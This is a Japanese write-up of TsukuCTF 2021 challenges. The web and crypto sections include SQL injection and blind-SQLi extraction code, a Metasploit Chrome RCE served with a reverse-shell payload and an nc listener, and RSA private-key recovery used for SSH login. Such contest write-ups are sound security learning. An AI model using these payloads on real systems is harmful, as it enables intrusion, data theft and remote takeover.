TsukuCTF 2021 Writeup
TsukuCTFに参加して182チーム中3位でした。解けた問題について解説をしていきます。
Web
Login [79 solves]
ログイン画面が与えられます。SQL Injectionっぽいのでいつもの' OR 1=1 --
を入れたらログインでき、フラグが貰えました。
TsukuCTF{You_4r3_SUP3R_H4CKER}
digits [63 soves]
from typing import Optional from fastapi import FastAPI import random app = FastAPI() FLAG = "TsukuCTF{}" @app.get("/") def main(q: Optional[str] = None): if q == None: return { "msg": "please input param 'q' (0000000000~9999999999). example: /?q=1234567890" } if len(q) != 10: return {"msg": "invalid query"} if "-" in q or "+" in q: return {"msg": "invalid query"} try: if not type(int(q)) is int: return {"msg": "invalid query"} except: return {"msg": "invalid query"} you_are_lucky = 0 for _ in range(100): idx = random.randrange(4) if q[idx] < "0": you_are_lucky += 1 if q[idx] > "9": you_are_lucky += 1 if you_are_lucky > 0: return {"flag": FLAG} else: return {"msg": "Sorry... You're unlucky."}
こんなサーバーが動いています。パラメータqの先頭4文字が0~9外であれば確率でフラグが貰えそうですが、type(int(q)) is int
の制限を通さなければなりません。
int
か数値リテラルの仕様を見れば良さそうだなと思いPythonのドキュメントを探しました。
https://docs.python.org/ja/3/reference/lexical_analysis.html#grammar-token-integer
するとPythonの数値リテラルには_
が使えることがわかったので(忘れてた)、それを使って先頭4文字に_
を含めた?q=1_34567890
を送信するとフラグが貰えました。
TsukuCTF{you_are_lucky_Tsukushi}
logonly [31 solves]
ジャンル: guessが開き直ってて好きです。
Tsukushiくんへ 君のサーバをハッキングしました。 Kali Linuxの中のツールとファイルを使ったらrootで簡単にログインできたけど大丈夫ですか? Suginaより
このようなメッセージに添付されたログからパスワードを特定しろという問題です。
XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:00] "POST / HTTP/1.1" 401 - XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:00] "POST / HTTP/1.1" 401 - XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:00] "POST / HTTP/1.1" 401 - XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:00] "POST / HTTP/1.1" 401 - ... XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:00] "POST / HTTP/1.1" 401 - XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:01] "POST / HTTP/1.1" 200 -
大量の401を返していますね。パスワードを特定しろという問題から考えるとパスワードをブルートフォースしたか?と推測できます。
Kali Linuxの有名なパスワードリストといえばrockyou.txtです。200を返したレスポンスが何番目なのか見ましょう。
(rockyou.txtはSecListsを使いました)
with open("/home/satoooon/wordlist/rockyou.txt", "rb") as f: words = f.read().split(b"\n") with open("./logonly", "rb") as f: log = f.read().split(b"\n") for word, line in zip(words, log): print(word, line)
考えるのが面倒臭いので適当にログを出します。wb
のタイポには気を付けましょう(一敗)
❯ py solve.py ... b'qwertzu' b'XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:00] "POST / HTTP/1.1" 401 -' b'qwertyuiop[]\\\\' b'XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:01] "POST / HTTP/1.1" 200 -' b'qwertyuio0' b''
qwertyuiop[]\\
がフラグだと推測できます。
TsukuCTF{qwertyuiop[]\\}
Login 2 [21 solves]
とりあえず今回も' OR 1=1 --
を入れてみますが、今回はフラグの代わりに複数のユーザー名が出てきます。
SQLの結果に対してfor文で出力でもしているのでしょう。UNION based SQL Injectionで情報を見ます。
' OR 1=1 UNION SELECT 'hoge' --
では駄目だったので' OR 1=1 UNION SELECT 'hoge','fuga' --
と入れたらログインできました。出力を見るとhoge
ユーザーがあるので、2列のSQL文で1列目がユーザー名のようですね。
適当に試したらMySQLであることがわかりました。' OR 1=1 UNION SELECT table_name,'hoge' FROM information_schema.columns --
でテーブル名を見ると、super_secret_table
というテーブルがあることがわかります。
(ここでOR 1=1
が必要ないことに気付きました)
' UNION SELECT column_name,'hoge' FROM information_schema.columns WHERE table_name='super_secret_table' --
でカラムを見ると、secret
というカラムがありました。
' UNION SELECT secret,'hoge' FROM super_secret_table --
を中を見ると、フラグが書かれていました。
TsukuCTF{50_muCh_GR3AT_Hacker_!ND3ED}
Journey [18 solves]
URLにアクセスすると、ランダムに複数回リダイレクトされた後に/goal
に飛ばされます。
Wrong goalらしいです。少し悩みましたが、最後のステータスが405 Method Not Allowed
であることに気付きました。試しにPOSTでリクエストしてみましょう。
❯ curl -X POST https://tsukuctf.sechack365.com/problems/journey/goal <h1>DO NOT SEND YOUR DATA. This method is not allowed!</h1>
返答が特徴的なので合ってそうですね。他のメゾッドも色々試すと、CONNECTが怪しい返答を返しました。
❯ curl -X CONNECT https://tsukuctf.sechack365.com/problems/journey/goal <head><meta http-equiv='refresh' content=' 5; url=/'></head><body><h1>Where are you from?</h1><p>I think you have come from fraudulent referer.</p></body>
refererがおかしいと言われました。refererを通常のリダイレクト元にしてみます。
❯ curl -X CONNECT -H 'Referer:https://tsukuctf.sechack365.com/problems/journey/railway/0' https://tsukuctf.sechack365.com/problems/journey/goal <h1>TsukuCTF{H0w_wa5_y0ur_j0urney?}</h1>
フラグが出てきました。
TsukuCTF{H0w_wa5_y0ur_j0urney?}
Login3 [9 solves]
今度はログインしても特に情報は無く、ログインできたかどうかしかわかりません。Blind SQL Injectionです。
作っておいたテンプレートが役に立った!と思いましたが無限にバグらせて結局時間を溶かしました。
import requests as req ses = req.Session() url = "https://tsukuctf.sechack365.com/problems/login3/" def is_ok(i, c): condition = f"(SELECT ASCII(SUBSTR(group_concat(secret),{i+1},1)) FROM urtla_secret_tsukushi)<={c}" payload = f"' OR {condition} -- " ses.get("https://tsukuctf.sechack365.com/problems/login3/logout.php") res = ses.post("https://tsukuctf.sechack365.com/problems/login3/login.php", data={"name": payload, "pass": ""}) print(i, c, payload) print(res.text.find("ようこそ !") != -1) return res.text.find("ようこそ !") != -1 def search_one(i): ng, ok = 0x20, 0x80 while (abs(ok - ng) > 1): mid = (ok + ng) // 2 if is_ok(i, mid): ok = mid else: ng = mid return chr(ok) secret = "" while True: secret += search_one(len(secret)) print(secret)
テーブル名とカラムの特定は省略します。MySQLのデフォルトにあるテーブルが出てくると長くなってしまうので、チートシートを参考にWHERE table_schema != ‘mysql’
を入れて回避しました。
❯ py blind_sqli.py 0 80 ' OR (SELECT ASCII(SUBSTR(group_concat(secret),1,1)) FROM urtla_secret_tsukushi)<=80 -- False 0 104 ' OR (SELECT ASCII(SUBSTR(group_concat(secret),1,1)) FROM urtla_secret_tsukushi)<=104 -- True 0 92 ' OR (SELECT ASCII(SUBSTR(group_concat(secret),1,1)) FROM urtla_secret_tsukushi)<=92 -- True 0 86 ' OR (SELECT ASCII(SUBSTR(group_concat(secret),1,1)) FROM urtla_secret_tsukushi)<=86 -- True 0 83 ' OR (SELECT ASCII(SUBSTR(group_concat(secret),1,1)) FROM urtla_secret_tsukushi)<=83 -- False 0 84 ' OR (SELECT ASCII(SUBSTR(group_concat(secret),1,1)) FROM urtla_secret_tsukushi)<=84 -- True T ... 62 124 ' OR (SELECT ASCII(SUBSTR(group_concat(secret),63,1)) FROM urtla_secret_tsukushi)<=124 -- False T,s,u,k,u,C,T,F,{,U,_,A,r,e,_,G,e,n,i,0,u,s,_,T,$,U,K,U,S,H,1,}
TsukuCTF{U_Are_Geni0us_T$UKUSH1}
gyOTAKU [4 solves]
問題文で管理者はユーザーが作れないのでrootユーザーで動かしている
フラグはflag{乱数}.txt
と言われます。
import io import os import random import string import requests import subprocess from flask import Flask, render_template, request, send_file app = Flask(__name__) def sanitize(text): #RCE is a non-assumed solution. <- This is not a hint. url = "" for i in text: if i in string.digits + string.ascii_lowercase + string.ascii_uppercase + "./_:": url += i if (url[0:7]!="http://") and (url[0:8]!="https://"): url = "https://www.google.com" return url @app.route("/") def gyotaku(): filename = "".join([random.choice(string.digits + string.ascii_lowercase + string.ascii_uppercase) for i in range(15)]) url = request.args.get("url") if not url: return "<font size=6>🐟gyOTAKU🐟</font><br><br>You can get gyotaku: <strong>?url={URL}</strong><br>Sorry, we do not yet support other files in the acquired site." url = sanitize(url) html = open(f"{filename}.html", "w") try: html.write(requests.get(url, timeout=1).text + "<br><font size=7>gyotakued by gyOTAKU</font>") except: html.write("Requests error<br><font size=7>gyotakued by gyOTAKU</font>") html.close() cmd = f"chromium-browser --no-sandbox --headless --disable-gpu --screenshot='./gyotaku-{filename}.png' --window-size=1280,1080 '{filename}.html'" subprocess.run(cmd, shell=True, timeout=1) os.remove(f"{filename}.html") png = open(f"gyotaku-{filename}.png", "rb") screenshot = io.BytesIO(png.read()) png.close() os.remove(f"gyotaku-{filename}.png") return send_file(screenshot, mimetype='image/png') if __name__ == "__main__": app.run(debug=True, host='0.0.0.0', port=9000)
指定したURLにアクセスしてスクリーンショットを取ってくれるサービスのようです。
iframe
やsrc
属性などでローカルファイルをどうにかして読み込むのかな~と思いましたが、軽く調べて都合のいい仕様が見つからなかったのでどうするかなと悩みました。
少し経った後、この記事を思い出しました。
クローラーに古いChromeを使っているXSS問をChrome Exploitで壊してフラグをゲットするという記事で、この問題も古いChromeを使っていればRCEが可能じゃないか?と思いつきました。
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>HOGE</title> </head> <body> <img src="http://requestbin.net/r/****?check"> </body> </html>
このようなHTMLをホストしてブラウザからrequestbinにアクセスさせます。
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/86.0.4240.111 Safari/537.36
バージョンが86.0.4240.111であることがわかりました。現行が93くらいなので古いですね。
有効なexploitは適当に検索しても見つけられるのですが、改造してもうまく動きません。
よく思い出せないのですが、履歴を見たらここで唐突に「metasploit chrome rce」と検索しています。なんで????? 検索すると実装があることがわかります。自分のサーバーにmetasploitが入ってないのでローカルで実行して適当に抜き出しましょう。
❯ msfconsole ... msf6 > set PAYLOAD linux/x86/shell_reverse_tcp PAYLOAD => linux/x86/shell_reverse_tcp msf6 > set LHOST X.X.X.X LHOST => X.X.X.X msf6 > set LPORT 9090 LPORT => 9090 msf6 > use exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation [*] Using configured payload linux/x86/shell_reverse_tcp msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > exploit [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > [-] Handler failed to bind to X.X.X.X:9090:- - [*] Started reverse TCP handler on 0.0.0.0:9090 [*] Using URL: http://0.0.0.0:8080/5TESaB85iFV1Cl [*] Local IP: http://X.X.X.X:8080/5TESaB85iFV1Cl [*] Server started.
curlで生成されたexploitのHTMLだけ抜き出して、サーバーにホストしてアクセスさせるとリバースシェルが降ってきます。
$ nc -lvnp 9090 listening on [any] 9090 ... ls ZrZwUwenp39DJcB.html al8vNpOH40E0oIZ.html amuUhnInAigRI1s.html ... app.py ... flagc464f9eba1.txt ... requirements.txt uwsgi.ini cat flagc464f9eba1.txt TsukuCTF{Tsukushi_to_Sugina_no_chigai_ga_wakaran}exit
TsukuCTF{Tsukushi_to_Sugina_no_chigai_ga_wakaran}
流石に非想定解かと思ってましたが、一応想定内だったそうです。(確かにオプションにわざわざ--no-sandbox
が入ってるのはおかしい)
Rev
Legacy code [7 solves]
.arch i286,jumps .code16 .att_syntax prefix .section .rodata .LC0: .string "PC%d%.0f\n" .text .global main .type main, @function main: enterw $24-2, $0 movw $9, -2(%bp) movw $0, -6(%bp) movw $0, -4(%bp) movw $0x28A4, -10(%bp) movw $0x4448, -8(%bp) movw $0xE148, -14(%bp) movw $0x3EBA, -12(%bp) .arch pentium finit fld -10(%bp) fld -14(%bp) faddp %st(0), %st(1) fstp -6(%bp) fwait .arch i286 movw -6(%bp), %ax movw -4(%bp), %dx leaw -22(%bp), %cx pushw %dx pushw %ax pushw %cx pushw %ss popw %ds call __extendsfdf2 addw $6, %sp movw -22(%bp), %cx movw -20(%bp), %ax movw -18(%bp), %dx movw -16(%bp), %bx pushw %bx pushw %dx pushw %ax pushw %cx pushw -2(%bp) pushw $.LC0 pushw %ss popw %ds call printf addw $12, %sp movw $0, %ax movw %ax, %ax movw %ax, %ax leavew pushw %ss popw %ds ret .size main, .-main .ident "GCC: (GNU) 6.3.0"
- フラグは出力結果を囲む
- 実行しなくてもこのサイトを使うと解ける
ということが問題文で言われます。
コンパイルしようとしてもundefined reference to '__extendsfdf2'
に引っ掛かります。解決方法が見つからなかったので諦めてアセンブリを読みます。
printfの引数のスタックには"PC%d%.0f\n", -2(%bp), -22(%bp), -20(%bp), -18(%bp), -16(%bp)
と積まれるようですね。とりあえず冒頭を見るとmovw $9, -2(%bp)
とあるので第一引数は9
のようです。
残りの%.0f
の結果がわかれば良さそうです。冒頭に怪しい値を代入している部分があるので、順番を考慮しつつ復元すると444828A43EBAE148
であることがわかります。
問題文で提示されたサイトを見るとfloat/doubleとバイナリ表現の変換ツールでした。試しにこの値をfloatに変換してみると、800.635009765625
になりました。アセンブリの内容はよくわかりませんが、何かの数値演算もしていなそうだし、PC98xx
といえば聞き覚えがあるのでこの値で合ってそうです。実際にprintf("%.0f", 800.635009765625)
を実行すると801
になったのでPC9801
がフラグです。
TsukuCTF{PC9801}
Network
genesis [10 solves]
TsukuCTFCoinという仮想通貨のエクスプローラーのサイトが渡されます。APIのドキュメントも同サイトに載っていました。問題文にはフラグはトランザクションに隠されていると書かれています。
試しに全取引のトランザクションをスクレイピングしたりしてみましたがいい情報はありません。問題文のgenesis
を調べると、ブロックチェーンの最初のブロックがGenesis Blockと呼ばれることがわかります。
エクスプローラーのAPIページの例が最初のブロックのものということが試行錯誤の過程でわかっているので、そこに載っているhttps://tsukuctfcoin.sechack365.com/api/getrawtransaction?txid=f44d8ca0b6e787c2193297aec523d685bc0ab5a38eca5a0b014c5a679507b13e&decrypt=0
にアクセスしています。
"01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff2804ffff001d0104205473756b754354467b323032315f30395f31315f47454e455349535f544b437dffffffff0100f2052a01000000434104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000"
これをCyberChefで文字列に戻してみます。
.....................................ÿÿÿÿ(.ÿÿ.... TsukuCTF{2021_09_11_GENESIS_TKC}ÿÿÿÿ..ò.*....CA.g.ý°þUH'.gñ¦q0·.\Ö¨(à9 ¦ybàê.aÞ¶Iö¼?Lï8ÄóU.å.Á.Þ\8M÷º..W.Lp+kñ._¬....
フラグがありました。
TsukuCTF{2021_09_11_GENESIS_TKC}
Crypto
CrackSSH! [13 solves]
ssh先と公開鍵が渡されます。
❯ cat crackssh.pub ssh-rsa AAAAB3NzaC1yc2EAAACBAWKA1hYjuvhxiwCGKsG+nbLj/iYy6pRwkkka64J6L+VLPp4K3JVSREEzmztAWxjkhGOleol3vzDRqR2J+4nSVOI9FhJyiBdSgECmXJYojGVSU56bCMdcysEkKYVz5e0+xQAjZDrotpm+FT0VAdwdWuZM68zZY8DE9H2uo9daHCf/AAAAgQIB+Y+6jm9xvNibnZLIoAvIVv1GflbjQ5AoKp52yPq+3nRr1N1aalXhHV1pXcwa1yra81+DFDsu4bdpPC7f25pLriBZKaSNT7K0+sRQdP50iBaYjsF2Cyg8HjoeGaXVkh3bOw2V2WwUsU4qEr9TjPbMzrCCxkFDQPnwOwmiWQM8GQ== tsukushi@frt.hongo.wide.ad.jp
本番ではとりあえずPEM形式に戻そうとしたりしてましたが、今確認すると必要なかったですね...
pycryptodomeのCrypto.PublicKey.RSA.import_key
を使えば公開鍵をパースすることができます。とりあえずパラメータを確認してみましょう。
from Crypto.PublicKey import RSA with open("crackssh.pub", "rb") as f: key = RSA.import_key(f.read()) print(f"n = {key.n}") print(f"e = {key.e}")
n = 360925413365609656207284763303112593050686426607629131354843699618905677197872793512380288223361149508460688151102823348462592916817609977273908821217493993702786929282477487755465976082059834867631026295714550319202482180891845062064382568022072228888091051431136923983143306662931216184662445381040847666201 e = 248940659700671391171916045022225211367167934215525303038734152650593067612113589541083076628705613883775652505492831370527586438096113903892713520850387855997035509546247913887222055672708066391999421835495881798128330308530099218984443115901043292942963247939575084326452874538239309850357410618060448737279
eがクソでかいです。Wiener's Attackですね。
適当に実装を拾ってきてdを求めます。後はexport_key
を使えば秘密鍵が得られます。
# https://github.com/orisano/owiener/blob/master/owiener.py をコピペ ... from Crypto.PublicKey import RSA with open("crackssh.pub", "rb") as f: key = RSA.import_key(f.read()) print(f"n = {key.n}") print(f"e = {key.e}") d = attack(key.e, key.n) print(f"d = {d}") priv_key = RSA.construct((key.n, key.e, d)) with open("crackssh.pem", "wb") as f: f.write(priv_key.export_key())
❯ ssh -p 30022 -i ./crackssh.pem tsukushi@frt.hongo.wide.ad.jp load pubkey "./crackssh.pem": invalid format Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.11.0-34-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. Last login: Sun Sep 12 12:35:55 2021 from 203.178.135.47 $ ls flag.txt $ cat flag.txt TsukuCTF{D0nt_use_w34k_RS4_key_generat10n}
TsukuCTF{D0nt_use_w34k_RS4_key_generat10n}
Hardware
CAD [82 solves]
stl拡張子のファイルが渡されます。CADは持ってませんでしたがWindowsデフォルト?のPrint 3Dで開けました。
裏面を見たらフラグが書かれていました。
TsukuCTF{ILIK3B3ar}
Ltika [49 solves]
void setup() { // initialize digital pin LED_BUILTIN as an output. pinMode(LED_BUILTIN, OUTPUT); } void blinking(){ digitalWrite(LED_BUILTIN, HIGH); delay(500); digitalWrite(LED_BUILTIN, LOW); // turn the LED off by making the voltage LOW delay(300); // wait for a second } void lit(){ digitalWrite(LED_BUILTIN, HIGH); // turn the LED on (HIGH is the voltage level) delay(2000); // wait for a second digitalWrite(LED_BUILTIN, LOW); // turn the LED off by making the voltage LOW delay(300); // wait for a second } void wait(){ digitalWrite(LED_BUILTIN, LOW); delay(1200); } // the loop function runs over and over again forever void loop() { blinking(); wait(); lit(); blinking(); wait(); blinking(); lit(); lit(); lit(); wait(); lit(); lit(); lit(); lit(); lit(); wait(); lit(); blinking(); lit(); lit(); wait(); blinking(); blinking(); blinking(); blinking(); wait(); blinking(); lit(); wait(); blinking(); lit(); blinking(); wait(); lit(); blinking(); blinking(); wait(); blinking(); lit(); lit(); wait(); blinking(); lit(); wait(); blinking(); lit(); blinking(); wait(); blinking(); wait(); lit(); blinking(); lit(); blinking(); lit(); lit(); wait(); delay(3000); }
いかにもモールス信号っぽいのでMorse Code Translator by Various Wordsで復号します。
TsukuCTF{ENJ0YHARDWARE!}
PCB [29 solves]
TsukuCTF_Gerber.zip
というファイルが渡されます。中身はよくわかりませんでした。
Gerberとは何でしょうか?調べてみるとガーバーフォーマットというプリント基盤のファイルフォーマットがあることがわかったので多分それでしょう。
Online Gerber Viewerというフリーのサイトがあったのでそれで見てみます。
問題文にはフラグは星座を表す英単語大文字と書かれていたので、これのことでしょう。PowerはLEDではないことに気を付けて88星座を頑張って全探索すると、はくちょう座であることがわかります。
TsukuCTF{CYGNUS}
Misc
TORItsukushi [90 solves]
大文字文字列 TSUKUSHI を可能な限り何度も取りつくしてください。残った文字列がフラグです。
だそうなので実装します。
with open("many_tsukushi.txt") as f: m = f.read() t = "TSUKUSHI" while t in m: m = m.replace(t, '') print(m)
❯ py solve.py TsukuCTF{Would_you_like_some_fresh-baked_Tsukushi?}
Customization [98 solves]
Googleスプレッドシートのリンクが渡されます。TsukuCTF
で検索すると透明なフラグが書かれていました。
TsukuCTF{yak1n1ku_ta6eta1}
discriminate [25 solves]
要約すると、GPT-2で生成された文字列とモデルが渡されるのでSecHack365のポスターから取られた元の入力文字列の末尾5文字を当てて下さいという問題です。
握るだけで解錠できるスマートドアハンドルを開発した。静脈認証が外側のドアハンドルに埋め込まれている。静脈認証は、身体の内部にある静脈パターンを読み取り、そのパターンに合致するドアハンドルを自動的に開く。スマートドアハンドルは、ドアハンドルの内側に内蔵されたセンサーが、ドアハンドルの開閉を検知して、自動的に開閉する。
最初は位置全探索プログラムを書きましたがincorrectでうまく行きませんでした。
2020年のポスターを見てみると元の文章が見つかるので、途中からずれるところを探せばよいです。
TsukuCTF{パターンを}
OSINT
ramen [93 solves]
「ラーメン ヤングコーン」で検索すると出てきました。
TsukuCTF{kagari_honten}
train [84 solves]
東京・上野方面と奥に見える品川・渋谷方面から有楽町~高輪ゲートウェイ間だとわかります。あとは「○○駅 ホーム」などで検索して頑張ると、新橋駅であることがわかります。
TsukuCTF{Shimbashi}
shop [83 solves]
映像から店舗名を特定しろという問題です。近くに海があることが映像からわかります。
Google Mapで「イオンモール 海沿い トヨタカローラ」と検索して頑張ると、イオンモール津南であることがわかります。
TsukuCTF{イオンモール津南}
Beach [80 solves]
看板の文字列から「"浜辺のレンタルスペース"」で検索すると出てきます。
TsukuCTF{Chigasaki}
fishing [77 solves]
橋を切り取ってGoogle画像検索すると出ました。
TsukuCTF{若狭海浜公園}
train2 [60 solves]
出町~という文字が見えるので検索してみると出町柳駅であることがわかります。と思ったけどincorrect。
Google Mapのストリートビューで近くの駅を探すと元田中駅が一致します。
TsukuCTF{元田中駅}
dam [55 solves]
「ダム 橋 アーチ 赤」で検索して頑張って画像を見ていくと同一のものがありました。
TsukuCTF{河内貯水池}
YUUGEN [47 solves]
映像を撮った駅を答える問題です。車体に書いてあった番号と合わせ「58654 無限」で検索すると記事が見つかります。鬼滅の無限列車とコラボしたSLが走るイベントがあり、熊本~博多間を走ったらしいですね。
映像のプロパディを見ると2020/11/03 13:44に撮られたとわかりました。Twitterでリアタイ実況してる人がいそうなので「since:2020-11-03_13:44:00_JST until:2020-11-03_14:00:00_JST 無限列車」などで調べましたが、なかなか情報が出ません。履歴見ても競技中どう考えたか思い出せないですが、多分どうにかしてこのツイートを見て、雰囲気が似てると思ったのでしょうか?竹下駅を詳しく調べるとそれっぽいことがわかります。
TsukuCTF{Takeshita}
Tsukushi_no_email1 [44 solves]
tsukuctf[@]gmail.comの顔写真を見つけろという問題です。「gmail OSINT」で検索すると記事が見つかります。いったんGmailのto欄にアドレスを入れると情報が出るようなので、やってみます。
アイコンの画像にフラグがありました。
TsukuCTF{Gooele_Kingdom}
Tsukushi_no_email2 [40 solves]
今度は彼の予定を調査しろと言われました。もう少し調べると、GHuntというツールを見つけたので試してみます。
❯ docker run -v ghunt-resources:/usr/src/app/resources -ti mxrch/ghunt ghunt.py email tsukuctf@gmail.com .d8888b. 888 888 888 d88P Y88b 888 888 888 888 888 888 888 888 888 8888888888 888 888 88888b. 888888 888 88888 888 888 888 888 888 "88b 888 888 888 888 888 888 888 888 888 888 Y88b d88P 888 888 Y88b 888 888 888 Y88b. "Y8888P88 888 888 "Y88888 888 888 "Y888 [+] Docker detected, profile pictures will not be saved. [+] 1 account found ! ------------------------------ Name : つくし [-] Default profile picture Last profile edit : 2021/09/13 00:58:08 (UTC) Email : tsukuctf@gmail.com Google ID : 110587651983636997822 Hangouts Bot : No [+] Activated Google services : - Hangouts - Maps [+] YouTube channel (confidence => 37.5%) : - [つくし] https://youtube.com/channel/UCdCkATiEeTfltDib8pBCRoA - [つくし] https://youtube.com/channel/UCfOb_I8IQyvcsFRRrXdNb2A Google Maps : https://www.google.com/maps/contrib/110587651983636997822/reviews [-] No reviews Google Calendar : https://calendar.google.com/calendar/u/0/embed?src=tsukuctf@gmail.com [+] Public Google Calendar found ! => The last 1 event : ╔════════╤═════════════════════╤═════════════════════╗ ║ Name │ Datetime (UTC) │ Duration ║ ╟────────┼─────────────────────┼─────────────────────╢ ║ flag🚩 │ 2021/09/11 03:00:00 │ 23 hours 30 minutes ║ ╚════════╧═════════════════════╧═════════════════════╝
いかにも怪しい予定があるので見てみるとフラグがありました。
TsukuCTF{Horsetail_is_delicious}
cafe [37 solves]
@7aru7aruさんが通っているメイドカフェを当てる問題です。メディア欄を見ていると当たりのツイートがありました。
萌え萌えキューーン💓💓💓 pic.twitter.com/kgaxKLc0im
— たーる (@7aru7aru) 2021年7月21日
ポケットにある「No1メイドカフェグループ」という文字列を検索してみるとめいどりーみんというチェーン店であることがわかります。どの店舗かまで当てる必要があります。
「@7aru7aru since:2021-7-20 until:2021-7-23」で前後の発言を見てみると、上野にある店舗であることがわかります。
久しぶりに上野に来た
— たーる (@7aru7aru) 2021年7月21日
店舗一覧を見て条件に合いそうなものを探すと、中央通り店であることがわかります。(上野の特定ほぼ意味ないですね)
TsukuCTF{https://maidreamin.com/shop/detail.html?id=5}
OBOG [21 solves]
SecHack365の非公式ページの改竄内容を見つけろと言われます。検索するとサイトは見つかります。
GitHubリポジトリがあるみたいなので見てみます。多分優秀な人はCI/CDとか組んでるので改竄もcommit通してるだろと考えました。
コミットメッセージは多少偽装してそうだと思って流し見していたらそれっぽいのを見つけました。
❯ echo VHN1a3VDVEZ7aHR0cHM6Ly9zZWNoYWNrMzY1Lm5pY3QuZ28uanB9 | base64 -d TsukuCTF{https://sechack365.nict.go.jp}
TsukuCTF{https://sechack365.nict.go.jp}
InterPlanetary Protocol [20 solves]
以下の文字列は、つくし星で使われている特殊なウェブサイトのURLらしい。このウェブサイトをなんとか開いて、侵略計画を手に入れるのだ!!! - bafybeieozcigchzmmpjzlct5eti4xhqexjnolpuehsnk2ckeaiqfqfqilu - bafybeifvtvmitvebs6ktbaqqhort2h76xfen4zj65bujq7xos2zzxdvwga - bafybeidtzxolknnds6k2ny6s6rgvbm7t7gopwyfgvyblfjdw6m6og2vsxm
とりあえず共通部分があるので「"bafybei" url」で検索してみます。ipfsという単語を複数の結果で見かけるのでそちらで検索してみると、InterPlanetary File SystemというP2P?のプロトコルであることもわかります。
Cloudflareがアクセス手段を提供していたのでそれで見るとフラグが3つに分かれて書かれていました。
❯ curl https://cloudflare-ipfs.com/ipfs/bafybeieozcigchzmmpjzlct5eti4xhqexjnolpuehsnk2ckeaiqfqfqilu TsukuCTF{IPFS_ ❯ curl https://cloudflare-ipfs.com/ipfs/bafybeifvtvmitvebs6ktbaqqhort2h76xfen4zj65bujq7xos2zzxdvwga _is_the_ ❯ curl https://cloudflare-ipfs.com/ipfs/bafybeidtzxolknnds6k2ny6s6rgvbm7t7gopwyfgvyblfjdw6m6og2vsxm future}
TsukuCTF{IPFS__is_the_future}
uiui [18 solves]
Tsukushiくんのパソコンがマルウェアに感染したようです。彼から一般に決められた方法で検体を送ってもらいましたが、解析にあたってマズイことをしてしまいました。彼は感染したことをほかの人に知られたくないようです。バレますかね?
zipファイルが配布されますが、パスワードがかかっています。seccampの講義を受けていて、有害なバイナリを含むzipをinfected
というパスワードで配布しているのをよく見ていたので同じパスワードを入力してみると解凍できました。特にリバースエンジニアリングしても情報はありませんでしたので、外部に情報があるのだなと思い付きます。
❯ sha256sum Virus 94ec98eca02b22b85abce1f82514fa267e566c0fee16339c2c8cd845b5c46716 Virus
ハッシュを取ってVirusTotalで検索してみると、出てきた結果にフラグが書かれていました。
TsukuCTF{Careless_uploading_is_dangerous}
感想
写真OSINT、なんもわからん................................
Yandexで検索してもぴったりヒットしないしGoogle Mapは結果を一部しか表示しないし発狂していました。
公式Writeupなどを見るとGoogle Lensというのを使っていました。知らなかったです。